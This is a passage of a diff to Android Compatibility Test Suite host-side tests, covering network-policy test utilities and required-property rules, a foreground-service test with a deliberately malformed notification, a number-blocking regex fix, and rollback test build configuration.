+
+import android.app.ActivityManager;
+import android.app.Instrumentation;
+import android.content.Context;
+import android.net.ConnectivityManager;
+import android.net.ConnectivityManager.NetworkCallback;
+import android.net.Network;
+import android.net.NetworkCapabilities;
+import android.net.wifi.WifiManager;
+import android.text.TextUtils;
+import android.util.Log;
+import android.util.Pair;
+
+import com.android.compatibility.common.util.AppStandbyUtils;
+import com.android.compatibility.common.util.BatteryUtils;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+public class NetworkPolicyTestUtils {
+
+    private static final int TIMEOUT_CHANGE_METEREDNESS_MS = 5000;
+
+    private static ConnectivityManager mCm;
+    private static WifiManager mWm;
+
+    private static Boolean mBatterySaverSupported;
+    private static Boolean mDataSaverSupported;
+    private static Boolean mDozeModeSupported;
+    private static Boolean mAppStandbySupported;
+
+    private NetworkPolicyTestUtils() {}
+
+    public static boolean isBatterySaverSupported() {
+        if (mBatterySaverSupported == null) {
+            mBatterySaverSupported = BatteryUtils.isBatterySaverSupported();
+        }
+        return mBatterySaverSupported;
+    }
+
+    /**
+     * As per CDD requirements, if the device doesn't support data saver mode then
+     * ConnectivityManager.getRestrictBackgroundStatus() will always return
+     * RESTRICT_BACKGROUND_STATUS_DISABLED. So, enable the data saver mode and check if
+     * ConnectivityManager.getRestrictBackgroundStatus() for an app in background returns
+     * RESTRICT_BACKGROUND_STATUS_DISABLED or not.
+     */
+    public static boolean isDataSaverSupported() {
+        if (mDataSaverSupported == null) {
+            assertMyRestrictBackgroundStatus(RESTRICT_BACKGROUND_STATUS_DISABLED);
+            try {
+                setRestrictBackground(true);
+                mDataSaverSupported = !isMyRestrictBackgroundStatus(
+                        RESTRICT_BACKGROUND_STATUS_DISABLED);
+            } finally {
+                setRestrictBackground(false);
+            }
+        }
+        return mDataSaverSupported;
+    }
+
+    public static boolean isDozeModeSupported() {
+        if (mDozeModeSupported == null) {
+            final String result = executeShellCommand("cmd deviceidle enabled deep");
+            mDozeModeSupported = result.equals("1");
+        }
+        return mDozeModeSupported;
+    }
+
+    public static boolean isAppStandbySupported() {
+        if (mAppStandbySupported == null) {
+            mAppStandbySupported = AppStandbyUtils.isAppStandbyEnabled();
+        }
+        return mAppStandbySupported;
+    }
+
+    public static boolean isLowRamDevice() {
+        final ActivityManager am = (ActivityManager) getContext().getSystemService(
+                Context.ACTIVITY_SERVICE);
+        return am.isLowRamDevice();
+    }
+
+    public static boolean isActiveNetworkMetered(boolean metered) {
+        return getConnectivityManager().isActiveNetworkMetered() == metered;
+    }
+
+    public static boolean canChangeActiveNetworkMeteredness() {
+        final Network activeNetwork = getConnectivityManager().getActiveNetwork();
+        final NetworkCapabilities networkCapabilities
+                = getConnectivityManager().getNetworkCapabilities(activeNetwork);
+        return networkCapabilities.hasTransport(TRANSPORT_WIFI);
+    }
+
+    public static Pair<String, Boolean> setupMeteredNetwork(boolean metered) throws Exception {
+        if (isActiveNetworkMetered(metered)) {
+            return null;
+        }
+        final String ssid = unquoteSSID(getWifiManager().getConnectionInfo().getSSID());
+        setWifiMeteredStatus(ssid, metered);
+        return Pair.create(ssid, !metered);
+    }
+
+    public static void resetMeteredNetwork(String ssid, boolean metered) throws Exception {
+        setWifiMeteredStatus(ssid, metered);
+    }
+
+    public static void setWifiMeteredStatus(String ssid, boolean metered) throws Exception {
+        assertFalse("SSID should not be empty", TextUtils.isEmpty(ssid));
+        final String cmd = "cmd netpolicy set metered-network " + ssid + " " + metered;
+        executeShellCommand(cmd);
+        assertWifiMeteredStatus(ssid, metered);
+        assertActiveNetworkMetered(metered);
+    }
+
+    public static void assertWifiMeteredStatus(String ssid, boolean expectedMeteredStatus) {
+        final String result = executeShellCommand("cmd netpolicy list wifi-networks");
+        final String expectedLine = ssid + ";" + expectedMeteredStatus;
+        assertTrue("Expected line: " + expectedLine + "; Actual result: " + result,
+                result.contains(expectedLine));
+    }
+
+    // Copied from cts/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java
+    public static void assertActiveNetworkMetered(boolean expectedMeteredStatus) throws Exception {
+        final CountDownLatch latch = new CountDownLatch(1);
+        final NetworkCallback networkCallback = new NetworkCallback() {
+            @Override
+            public void onCapabilitiesChanged(Network network, NetworkCapabilities nc) {
+                final boolean metered = !nc.hasCapability(NET_CAPABILITY_NOT_METERED);
+                if (metered == expectedMeteredStatus) {
+                    latch.countDown();
+                }
+            }
+        };
+        // Registering a callback here guarantees onCapabilitiesChanged is called immediately
+        // with the current setting. Therefore, if the setting has already been changed,
+        // this method will return right away, and if not it will wait for the setting to change.
+        getConnectivityManager().registerDefaultNetworkCallback(networkCallback);
+        if (!latch.await(TIMEOUT_CHANGE_METEREDNESS_MS, TimeUnit.MILLISECONDS)) {
+            fail("Timed out waiting for active network metered status to change to "
+                    + expectedMeteredStatus + " ; network = "
+                    + getConnectivityManager().getActiveNetwork());
+        }
+        getConnectivityManager().unregisterNetworkCallback(networkCallback);
+    }
+
+    public static void setRestrictBackground(boolean enabled) {
+        executeShellCommand("cmd netpolicy set restrict-background " + enabled);
+        final String output = executeShellCommand("cmd netpolicy get restrict-background");
+        final String expectedSuffix = enabled ? "enabled" : "disabled";
+        assertTrue("output '" + output + "' should end with '" + expectedSuffix + "'",
+                output.endsWith(expectedSuffix));
+    }
+
+    public static boolean isMyRestrictBackgroundStatus(int expectedStatus) {
+        final int actualStatus = getConnectivityManager().getRestrictBackgroundStatus();
+        if (expectedStatus != actualStatus) {
+            Log.d(TAG, "MyRestrictBackgroundStatus: "
+                    + "Expected: " + restrictBackgroundValueToString(expectedStatus)
+                    + "; Actual: " + restrictBackgroundValueToString(actualStatus));
+            return false;
+        }
+        return true;
+    }
+
+    // Copied from cts/tests/tests/net/src/android/net/cts/ConnectivityManagerTest.java
+    private static String unquoteSSID(String ssid) {
+        // SSID is returned surrounded by quotes if it can be decoded as UTF-8.
+        // Otherwise it's guaranteed not to start with a quote.
+        if (ssid.charAt(0) == '"') {
+            return ssid.substring(1, ssid.length() - 1);
+        } else {
+            return ssid;
+        }
+    }
+
+    public static String restrictBackgroundValueToString(int status) {
+        switch (status) {
+            case RESTRICT_BACKGROUND_STATUS_DISABLED:
+                return "DISABLED";
+            case RESTRICT_BACKGROUND_STATUS_WHITELISTED:
+                return "WHITELISTED";
+            case RESTRICT_BACKGROUND_STATUS_ENABLED:
+                return "ENABLED";
+            default:
+                return "UNKNOWN_STATUS_" + status;
+        }
+    }
+
+    public static String executeShellCommand(String command) {
+        final String result = runShellCommand(command).trim();
+        Log.d(TAG, "Output of '" + command + "': '" + result + "'");
+        return result;
+    }
+
+    public static void assertMyRestrictBackgroundStatus(int expectedStatus) {
+        final int actualStatus = getConnectivityManager().getRestrictBackgroundStatus();
+        assertEquals(restrictBackgroundValueToString(expectedStatus),
+                restrictBackgroundValueToString(actualStatus));
+    }
+
+    public static ConnectivityManager getConnectivityManager() {
+        if (mCm == null) {
+            mCm = (ConnectivityManager) getContext().getSystemService(Context.CONNECTIVITY_SERVICE);
+        }
+        return mCm;
+    }
+
+    public static WifiManager getWifiManager() {
+        if (mWm == null) {
+            mWm = (WifiManager) getContext().getSystemService(Context.WIFI_SERVICE);
+        }
+        return mWm;
+    }
+
+    public static Context getContext() {
+        return getInstrumentation().getContext();
+    }
+
+    public static Instrumentation getInstrumentation() {
+        return InstrumentationRegistry.getInstrumentation();
+    }
+}
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/Property.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/Property.java
new file mode 100644
index 0000000..18805f9
--- /dev/null
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/Property.java
@@ -0,0 +1,70 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.net.hostside;
+
+import static com.android.cts.net.hostside.NetworkPolicyTestUtils.canChangeActiveNetworkMeteredness;
+import static com.android.cts.net.hostside.NetworkPolicyTestUtils.isActiveNetworkMetered;
+import static com.android.cts.net.hostside.NetworkPolicyTestUtils.isAppStandbySupported;
+import static com.android.cts.net.hostside.NetworkPolicyTestUtils.isBatterySaverSupported;
+import static com.android.cts.net.hostside.NetworkPolicyTestUtils.isDataSaverSupported;
+import static com.android.cts.net.hostside.NetworkPolicyTestUtils.isDozeModeSupported;
+import static com.android.cts.net.hostside.NetworkPolicyTestUtils.isLowRamDevice;
+
+public enum Property {
+    BATTERY_SAVER_MODE(1 << 0) {
+        public boolean isSupported() { return isBatterySaverSupported(); }
+    },
+
+    DATA_SAVER_MODE(1 << 1) {
+        public boolean isSupported() { return isDataSaverSupported(); }
+    },
+
+    NO_DATA_SAVER_MODE(~DATA_SAVER_MODE.getValue()) {
+        public boolean isSupported() { return !isDataSaverSupported(); }
+    },
+
+    DOZE_MODE(1 << 2) {
+        public boolean isSupported() { return isDozeModeSupported(); }
+    },
+
+    APP_STANDBY_MODE(1 << 3) {
+        public boolean isSupported() { return isAppStandbySupported(); }
+    },
+
+    NOT_LOW_RAM_DEVICE(1 << 4) {
+        public boolean isSupported() { return !isLowRamDevice(); }
+    },
+
+    METERED_NETWORK(1 << 5) {
+        public boolean isSupported() {
+            return isActiveNetworkMetered(true) || canChangeActiveNetworkMeteredness();
+        }
+    },
+
+    NON_METERED_NETWORK(~METERED_NETWORK.getValue()) {
+        public boolean isSupported() {
+            return isActiveNetworkMetered(false) || canChangeActiveNetworkMeteredness();
+        }
+    };
+
+    private int mValue;
+
+    Property(int value) { mValue = value; }
+
+    public int getValue() { return mValue; }
+
+    abstract boolean isSupported();
+}
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/RequiredProperties.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/RequiredProperties.java
new file mode 100644
index 0000000..96838bb
--- /dev/null
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/RequiredProperties.java
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.net.hostside;
+
+import static java.lang.annotation.ElementType.METHOD;
+import static java.lang.annotation.ElementType.TYPE;
+import static java.lang.annotation.RetentionPolicy.RUNTIME;
+
+import java.lang.annotation.Inherited;
+import java.lang.annotation.Retention;
+import java.lang.annotation.Target;
+
+@Retention(RUNTIME)
+@Target({METHOD, TYPE})
+@Inherited
+public @interface RequiredProperties {
+    Property[] value();
+}
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/RequiredPropertiesRule.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/RequiredPropertiesRule.java
new file mode 100644
index 0000000..1e33320
--- /dev/null
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/RequiredPropertiesRule.java
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.net.hostside;
+
+import static com.android.cts.net.hostside.AbstractRestrictBackgroundNetworkTestCase.TAG;
+
+import android.text.TextUtils;
+import android.util.ArraySet;
+import android.util.Log;
+
+import com.android.compatibility.common.util.BeforeAfterRule;
+
+import org.junit.Assume;
+import org.junit.runner.Description;
+import org.junit.runners.model.Statement;
+
+import java.util.ArrayList;
+import java.util.Collections;
+
+public class RequiredPropertiesRule extends BeforeAfterRule {
+
+    private static ArraySet<Property> mRequiredProperties;
+
+    @Override
+    public void onBefore(Statement base, Description description) {
+        mRequiredProperties = getAllRequiredProperties(description);
+
+        final String testName = description.getClassName() + "#" + description.getMethodName();
+        assertTestIsValid(testName, mRequiredProperties);
+        Log.i(TAG, "Running test " + testName + " with required properties: "
+                + propertiesToString(mRequiredProperties));
+    }
+
+    private ArraySet<Property> getAllRequiredProperties(Description description) {
+        final ArraySet<Property> allRequiredProperties = new ArraySet<>();
+        RequiredProperties requiredProperties = description.getAnnotation(RequiredProperties.class);
+        if (requiredProperties != null) {
+            Collections.addAll(allRequiredProperties, requiredProperties.value());
+        }
+
+        for (Class<?> clazz = description.getTestClass();
+                clazz != null; clazz = clazz.getSuperclass()) {
+            requiredProperties = clazz.getDeclaredAnnotation(RequiredProperties.class);
+            if (requiredProperties == null) {
+                continue;
+            }
+            for (Property requiredProperty : requiredProperties.value()) {
+                if (!allRequiredProperties.contains(~requiredProperty.getValue())) {
+                    allRequiredProperties.add(requiredProperty);
+                }
+            }
+        }
+        return allRequiredProperties;
+    }
+
+    private void assertTestIsValid(String testName, ArraySet<Property> requiredProperies) {
+        if (requiredProperies == null) {
+            return;
+        }
+        final ArrayList<Property> unsupportedProperties = new ArrayList<>();
+        for (Property property : requiredProperies) {
+            if (!property.isSupported()) {
+                unsupportedProperties.add(property);
+            }
+        }
+        Assume.assumeTrue("Unsupported properties: "
+                + propertiesToString(unsupportedProperties), unsupportedProperties.isEmpty());
+    }
+
+    public static ArraySet<Property> getRequiredProperties() {
+        return mRequiredProperties;
+    }
+
+    private static String propertiesToString(Iterable<Property> properties) {
+        return "[" + TextUtils.join(",", properties) + "]";
+    }
+}
diff --git a/hostsidetests/net/src/com/android/cts/net/HostsideNetworkCallbackTests.java b/hostsidetests/net/src/com/android/cts/net/HostsideNetworkCallbackTests.java
index 8d6c4ac..1312085 100644
--- a/hostsidetests/net/src/com/android/cts/net/HostsideNetworkCallbackTests.java
+++ b/hostsidetests/net/src/com/android/cts/net/HostsideNetworkCallbackTests.java
@@ -29,14 +29,14 @@
         uninstallPackage(TEST_APP2_PKG, true);
     }
 
-    public void testOnBlockedStatusChanged_data_saver() throws Exception {
+    public void testOnBlockedStatusChanged_dataSaver() throws Exception {
         runDeviceTests(TEST_PKG,
-                TEST_PKG + ".NetworkCallbackTest", "testOnBlockedStatusChanged_data_saver");
+                TEST_PKG + ".NetworkCallbackTest", "testOnBlockedStatusChanged_dataSaver");
     }
 
-    public void testOnBlockedStatusChanged_power_saver() throws Exception {
+    public void testOnBlockedStatusChanged_powerSaver() throws Exception {
         runDeviceTests(TEST_PKG,
-                TEST_PKG + ".NetworkCallbackTest", "testOnBlockedStatusChanged_power_saver");
+                TEST_PKG + ".NetworkCallbackTest", "testOnBlockedStatusChanged_powerSaver");
     }
 }
 
diff --git a/hostsidetests/net/src/com/android/cts/net/HostsideNetworkTestCase.java b/hostsidetests/net/src/com/android/cts/net/HostsideNetworkTestCase.java
index a2443b3..ce20379 100644
--- a/hostsidetests/net/src/com/android/cts/net/HostsideNetworkTestCase.java
+++ b/hostsidetests/net/src/com/android/cts/net/HostsideNetworkTestCase.java
@@ -79,7 +79,8 @@
     protected void installPackage(String apk) throws FileNotFoundException,
             DeviceNotAvailableException {
         CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
-        assertNull(getDevice().installPackage(buildHelper.getTestFile(apk), false));
+        assertNull(getDevice().installPackage(buildHelper.getTestFile(apk),
+                false /* reinstall */, true /* grantPermissions */));
     }
 
     protected void uninstallPackage(String packageName, boolean shouldSucceed)
diff --git a/hostsidetests/net/src/com/android/cts/net/NetPolicyTestsPreparer.java b/hostsidetests/net/src/com/android/cts/net/NetPolicyTestsPreparer.java
deleted file mode 100644
index bc2ee2c..0000000
--- a/hostsidetests/net/src/com/android/cts/net/NetPolicyTestsPreparer.java
+++ /dev/null
@@ -1,63 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.net;
-
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.log.LogUtil;
-import com.android.tradefed.targetprep.ITargetCleaner;
-import com.android.tradefed.targetprep.ITargetPreparer;
-
-public class NetPolicyTestsPreparer implements ITargetPreparer, ITargetCleaner {
-    private final static String KEY_PAROLE_DURATION = "parole_duration";
-    private final static int DESIRED_PAROLE_DURATION = 0;
-    private final static String KEY_STABLE_CHARGING_THRESHOLD = "stable_charging_threshold";
-    private final static int DESIRED_STABLE_CHARGING_THRESHOLD = 0;
-
-    private ITestDevice mDevice;
-    private String mOriginalAppIdleConsts;
-
-    @Override
-    public void setUp(ITestDevice device, IBuildInfo buildInfo) throws DeviceNotAvailableException {
-        mDevice = device;
-        mOriginalAppIdleConsts = getAppIdleConstants();
-        setAppIdleConstants(KEY_PAROLE_DURATION + "=" + DESIRED_PAROLE_DURATION + ","
-                + KEY_STABLE_CHARGING_THRESHOLD + "=" + DESIRED_STABLE_CHARGING_THRESHOLD);
-        LogUtil.CLog.d("Original app_idle_constants: " + mOriginalAppIdleConsts);
-    }
-
-    @Override
-    public void tearDown(ITestDevice device, IBuildInfo buildInfo, Throwable throwable)
-            throws DeviceNotAvailableException {
-        setAppIdleConstants(mOriginalAppIdleConsts);
-    }
-
-    private void setAppIdleConstants(String appIdleConstants) throws DeviceNotAvailableException {
-        executeCmd("settings put global app_idle_constants \"" + appIdleConstants + "\"");
-    }
-
-    private String getAppIdleConstants() throws DeviceNotAvailableException {
-        return executeCmd("settings get global app_idle_constants");
-    }
-
-    private String executeCmd(String cmd) throws DeviceNotAvailableException {
-        final String output = mDevice.executeShellCommand(cmd).trim();
-        LogUtil.CLog.d("Output for '%s': %s", cmd, output);
-        return output;
-    }
-}
diff --git a/hostsidetests/numberblocking/OWNERS b/hostsidetests/numberblocking/OWNERS
new file mode 100644
index 0000000..0cfd686
--- /dev/null
+++ b/hostsidetests/numberblocking/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 151185
+tgunn@google.com
\ No newline at end of file
diff --git a/hostsidetests/numberblocking/src/com/android/cts/numberblocking/hostside/NumberBlockingTest.java b/hostsidetests/numberblocking/src/com/android/cts/numberblocking/hostside/NumberBlockingTest.java
index 1bf1aef..12b2dca 100644
--- a/hostsidetests/numberblocking/src/com/android/cts/numberblocking/hostside/NumberBlockingTest.java
+++ b/hostsidetests/numberblocking/src/com/android/cts/numberblocking/hostside/NumberBlockingTest.java
@@ -27,6 +27,8 @@
 import com.android.tradefed.testtype.IBuildReceiver;
 
 import java.io.File;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
 
 /**
  * Multi-user tests for number blocking.
@@ -237,15 +239,15 @@
 
     // TODO: Replace this with API in ITestDevice once it is available.
     private int getUserSerialNumber(int userId) throws DeviceNotAvailableException {
+        Pattern pattern = Pattern.compile("^.*UserInfo\\{" + userId + "\\:.*serialNo=(\\d+).*$");
         // dumpsys user return lines like "UserInfo{0:Owner:13} serialNo=0"
         String commandOutput = getDevice().executeShellCommand("dumpsys user");
         String[] tokens = commandOutput.split("\\n");
         for (String token : tokens) {
             token = token.trim();
-            if (token.contains("UserInfo{" + userId + ":")) {
-                String[] split = token.split("serialNo=");
-                assertTrue(split.length == 2);
-                int serialNumber = Integer.parseInt(split[1]);
+            Matcher matcher = pattern.matcher(token);
+            if (matcher.matches()) {
+                int serialNumber = Integer.parseInt(matcher.group(1));
                 LogUtil.CLog.logAndDisplay(
                         Log.LogLevel.INFO,
                         String.format("Serial number of user %d : %d", userId, serialNumber));
diff --git a/hostsidetests/os/AndroidTest.xml b/hostsidetests/os/AndroidTest.xml
index ec89d43..cc4897b 100644
--- a/hostsidetests/os/AndroidTest.xml
+++ b/hostsidetests/os/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="framework" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
diff --git a/hostsidetests/os/app/AndroidManifest.xml b/hostsidetests/os/app/AndroidManifest.xml
index fa9d9ae..88791ea 100755
--- a/hostsidetests/os/app/AndroidManifest.xml
+++ b/hostsidetests/os/app/AndroidManifest.xml
@@ -19,9 +19,16 @@
     package="android.os.app"
     android:targetSandboxVersion="2">
 
+    <uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
+
     <application>
         <activity android:name=".TestNonExported"
                 android:exported="false" />
+
+        <service android:name=".TestFgService"
+                android:exported="true" />
+
     </application>
+
 </manifest>
 
diff --git a/hostsidetests/os/app/src/android/os/app/TestFgService.java b/hostsidetests/os/app/src/android/os/app/TestFgService.java
new file mode 100644
index 0000000..3548105
--- /dev/null
+++ b/hostsidetests/os/app/src/android/os/app/TestFgService.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.app;
+
+import android.app.Notification;
+import android.app.Service;
+import android.content.Intent;
+import android.os.IBinder;
+import android.os.Process;
+import android.util.Log;
+
+public class TestFgService extends Service {
+    private static final String TAG = "TestFgService";
+
+    // intentionally invalid resource configuration
+    private static final int NOTIFICATION_ID = 5038;
+    private static final String CHANNEL = "fgservice";
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        Log.i(TAG, "onStartCommand() called");
+        Notification notification = new Notification.Builder(this, CHANNEL)
+                .setContentTitle("Foreground service")
+                .setContentText("Ongoing test app foreground service is live")
+                .setSmallIcon(NOTIFICATION_ID)
+                .build();
+
+        Log.i(TAG, "TestFgService starting foreground: pid=" + Process.myPid());
+        startForeground(NOTIFICATION_ID, notification);
+
+        return START_NOT_STICKY;
+    }
+}
\ No newline at end of file
diff --git a/hostsidetests/os/src/android/os/cts/OsHostTests.java b/hostsidetests/os/src/android/os/cts/OsHostTests.java
index c557c9e..8e3f5c5 100644
--- a/hostsidetests/os/src/android/os/cts/OsHostTests.java
+++ b/hostsidetests/os/src/android/os/cts/OsHostTests.java
@@ -22,14 +22,17 @@
 import com.android.tradefed.build.IBuildInfo;
 import com.android.tradefed.device.CollectingOutputReceiver;
 import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.result.InputStreamSource;
 import com.android.tradefed.testtype.DeviceTestCase;
 import com.android.tradefed.testtype.IAbi;
 import com.android.tradefed.testtype.IAbiReceiver;
 import com.android.tradefed.testtype.IBuildReceiver;
 import com.android.tradefed.util.AbiUtils;
 
+import java.io.BufferedReader;
 import java.io.File;
 import java.io.FileNotFoundException;
+import java.io.InputStreamReader;
 import java.util.Arrays;
 import java.util.HashSet;
 import java.util.Scanner;
@@ -38,12 +41,19 @@
 
 public class OsHostTests extends DeviceTestCase implements IBuildReceiver, IAbiReceiver {
     private static final String TEST_APP_PACKAGE = "android.os.app";
-    private static final String TEST_NON_EXPORTED_ACTIVITY_CLASS = "TestNonExported";
 
+    private static final String TEST_NON_EXPORTED_ACTIVITY_CLASS = "TestNonExported";
     private static final String START_NON_EXPORTED_ACTIVITY_COMMAND = String.format(
             "am start -n %s/%s.%s",
             TEST_APP_PACKAGE, TEST_APP_PACKAGE, TEST_NON_EXPORTED_ACTIVITY_CLASS);
 
+    private static final String TEST_FG_SERVICE_CLASS = "TestFgService";
+    private static final String START_FG_SERVICE_COMMAND = String.format(
+            "am start-foreground-service -n %s/%s.%s",
+            TEST_APP_PACKAGE, TEST_APP_PACKAGE, TEST_FG_SERVICE_CLASS);
+    private static final String FILTER_FG_SERVICE_REGEXP =
+            "TestFgService starting foreground: pid=([0-9]*)";
+
     // Testing the intent filter verification mechanism
     private static final String HOST_VERIFICATION_APK = "CtsHostLinkVerificationApp.apk";
     private static final String HOST_VERIFICATION_PKG = "com.android.cts.openlinksskeleton";
@@ -104,6 +114,40 @@
         }
     }
 
+    /**
+     * Test behavior of malformed Notifications w.r.t. foreground services
+     * @throws Exception
+     */
+    @AppModeFull(reason = "Instant apps may not start foreground services")
+    public void testForegroundServiceBadNotification() throws Exception {
+        final Pattern pattern = Pattern.compile(FILTER_FG_SERVICE_REGEXP);
+
+        mDevice.clearLogcat();
+        mDevice.executeShellCommand(START_FG_SERVICE_COMMAND);
+        Thread.sleep(2500);
+
+        String pid = null;
+        try (InputStreamSource logSource = mDevice.getLogcat()) {
+            InputStreamReader streamReader = new InputStreamReader(logSource.createInputStream());
+            BufferedReader logReader = new BufferedReader(streamReader);
+
+            String line;
+            while ((line = logReader.readLine()) != null) {
+                Matcher matcher = pattern.matcher(line);
+                if (matcher.find()) {
+                    pid = matcher.group(1);
+                    break;
+                }
+            }
+        }
+        assertTrue("Didn't find test service statement in logcat", pid != null);
+
+        final String procStr = "/proc/" + pid;
+        final String lsOut = mDevice.executeShellCommand("ls -d " + procStr).trim();
+        assertTrue("Looking for nonexistence of service process " + pid,
+                lsOut.contains("No such file"));
+    }
+
     public void testIntentFilterHostValidation() throws Exception {
         String line = null;
         try {
diff --git a/hostsidetests/rollback/Android.bp b/hostsidetests/rollback/Android.bp
index c3dbe18..e575302 100644
--- a/hostsidetests/rollback/Android.bp
+++ b/hostsidetests/rollback/Android.bp
@@ -17,19 +17,29 @@
     defaults: ["cts_defaults"],
     srcs: ["src/**/*.java"],
     libs: ["cts-tradefed", "tradefed", "truth-prebuilt"],
-    data: [":CtsRollbackManagerHostTestHelperApp"],
+    data: [":CtsRollbackManagerHostTestHelperApp", ":CtsRollbackManagerHostTestHelperApp2"],
     test_suites: ["cts", "general-tests"],
 }
 
 android_test_helper_app {
     name: "CtsRollbackManagerHostTestHelperApp",
     srcs:  ["app/src/**/*.java"],
-    static_libs: ["androidx.test.rules", "cts-rollback-lib"],
+    static_libs: ["androidx.test.rules", "cts-rollback-lib", "cts-install-lib"],
     manifest : "app/AndroidManifest.xml",
     java_resources:  [
+        ":ApexKeyRotationTestV2_SignedBobRotRollback",
         ":StagedInstallTestApexV2",
         ":StagedInstallTestApexV3",
     ],
     sdk_version: "test_current",
     test_suites: ["device-tests"],
 }
+
+android_test_helper_app {
+    name: "CtsRollbackManagerHostTestHelperApp2",
+    srcs:  ["app2/src/**/*.java"],
+    static_libs: ["androidx.test.rules", "cts-rollback-lib", "cts-install-lib"],
+    manifest : "app2/AndroidManifest.xml",
+    sdk_version: "test_current",
+    test_suites: ["device-tests"],
+}
diff --git a/hostsidetests/rollback/AndroidTest.xml b/hostsidetests/rollback/AndroidTest.xml
index 9f0ae07..23e362f 100644
--- a/hostsidetests/rollback/AndroidTest.xml
+++ b/hostsidetests/rollback/AndroidTest.xml
@@ -21,6 +21,7 @@
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsRollbackManagerHostTestHelperApp.apk" />
+        <option name="test-file-name" value="CtsRollbackManagerHostTestHelperApp2.apk" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.HostTest" >
         <option name="class" value="com.android.cts.rollback.host.RollbackManagerHostTest" />
diff --git a/hostsidetests/rollback/OWNERS b/hostsidetests/rollback/OWNERS
new file mode 100644
index 0000000..e84df8e
--- /dev/null
+++ b/hostsidetests/rollback/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 557916
+ruhler@google.com
+*
\ No newline at end of file
diff --git a/hostsidetests/rollback/app/AndroidManifest.xml b/hostsidetests/rollback/app/AndroidManifest.xml
index 2aac999..421ceff 100644
--- a/hostsidetests/rollback/app/AndroidManifest.xml
+++ b/hostsidetests/rollback/app/AndroidManifest.xml
@@ -18,7 +18,7 @@
           package="com.android.cts.rollback.host.app" >
 
     <application>
-        <receiver android:name="com.android.cts.rollback.lib.LocalIntentSender"
+        <receiver android:name="com.android.cts.install.lib.LocalIntentSender"
                   android:exported="true" />
         <uses-library android:name="android.test.runner" />
     </application>
diff --git a/hostsidetests/rollback/app/src/com/android/cts/rollback/host/app/HostTestHelper.java b/hostsidetests/rollback/app/src/com/android/cts/rollback/host/app/HostTestHelper.java
